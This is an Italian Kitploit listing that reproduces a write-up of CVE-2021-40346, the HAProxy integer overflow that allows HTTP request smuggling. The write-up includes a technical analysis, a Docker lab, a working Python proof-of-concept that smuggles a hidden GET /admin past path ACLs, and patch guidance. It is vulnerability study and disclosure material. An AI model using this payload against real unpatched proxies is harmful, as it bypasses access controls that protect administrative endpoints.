Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-40346 — WHS CVE-2021-40346 Analisi | Kitploit
Strumenti/GitHubGitHub/jmg0929/cve-2021-40346
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

WHS CVE-2021-40346 Analisi

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-40346 — Overflow di interi in HAProxy che porta allo Smuggling di richieste HTTP

Riepilogo della vulnerabilità

  • HAProxy è un reverse proxy open source e load balancer, un software che gestisce il bilanciamento del carico e l'elaborazione delle ACL (regole di controllo degli accessi)
  • CVE-2021-40346 è una vulnerabilità di bypass delle ACL (ACL Bypass) che si verifica quando HAProxy non valida la lunghezza del nome dell'header (Header Name) nella funzione htx_add_header(), che memorizza gli header HTTP nel formato HTX interno
  • Questa vulnerabilità è valutata come semplice da sfruttare ma con un impatto notevole: basta aumentare la lunghezza del nome di un header nella richiesta HTTP in base a condizioni specifiche per far eseguire al backend la richiesta desiderata dall'attaccante
  • Riferimenti: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

Condizioni di vulnerabilità

  • Versioni interessate: HAProxy 2.0 e successive fino alla 2.5 (inclusa la dev6)
  • Configurazione ACL: sul frontend devono essere configurate regole di controllo degli accessi basate sul percorso tramite http-request (ad es. path_beg /admin) — queste regole sono l'obiettivo del bypass

Analisi

Quando HAProxy memorizza gli header HTTP nel formato HTX interno, registra la lunghezza del nome dell'header in un campo a 8 bit (massimo 255). La funzione htx_add_header() non dispone di una logica di validazione per questa lunghezza: se si invia un nome di 256 byte o più, si verifica un overflow di interi e i bit in eccesso fuoriescono nel campo adiacente della lunghezza del valore.

Se si porta il nome dell'header esattamente a 270 byte (270 mod 256 = 14), HAProxy lo scambia per "Content-Length" (14 caratteri) e legge come valore il byte contaminato dall'overflow. Posizionando "0" in quella posizione si ottiene un header Content-Length: 0 contraffatto.

Se dietro a questo header contraffatto si invia il vero header Content-Length, HAProxy adotta quello che compare per primo tra gli header duplicati (quello contraffatto, pari a 0) e scarta il valore reale. In questo caso, il processo di lettura del corpo effettivo dalla richiesta del client funziona correttamente sulla base del testo originale, ma nell'header trasmesso al backend viene registrato il valore contraffatto (0), creando una discrepanza tra "dimensione del corpo effettivamente ricevuta" e "dimensione notificata al backend".

Il backend si fida del valore notificato (0), conclude che la richiesta sia terminata e reinterpreta i dati che costituivano il corpo originale come una richiesta completamente nuova. Poiché le ACL di HAProxy vengono controllate prima, e solo sulla prima riga della richiesta originale, la seconda richiesta nascosta raggiunge il backend senza essere inclusa nel controllo. Di conseguenza, tutte le ACL http-request configurate vengono bypassate.

Configurazione dell'ambiente e procedura di riproduzione

  • Eseguire docker compose up --build -d per avviare l'ambiente di test vulnerabile (haproxy ver.2.2.16 / backend: gunicorn)

  • Verificare l'attivazione di HAProxy e del server backend tramite il codice seguente

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "준비 완료"
    
  • Eseguire il codice PoC con python3 poc.py --host 127.0.0.1 --port 8080

  • Verificare tramite i log di accesso del backend con docker logs cve-2021-40346-backend --tail 5 che la richiesta /admin sia stata effettivamente elaborata

Codice PoC

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

Risultato dell'esecuzione

Risultato dell'esecuzione Come mostrato sopra, la richiesta GET verso admin, il cui accesso è limitato sul backend, viene elaborata.

Misure di mitigazione

  • Aggiornamento della versione: aggiornare immediatamente a 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 o successive (il problema è risolto alla radice grazie all'aggiunta della logica di validazione della lunghezza di nome/valore in htx_add_header())
  • Difesa in profondità: non affidarsi esclusivamente alle ACL del proxy; implementare una doppia logica di autenticazione/autorizzazione anche nell'applicazione backend stessa
Scarica lo strumento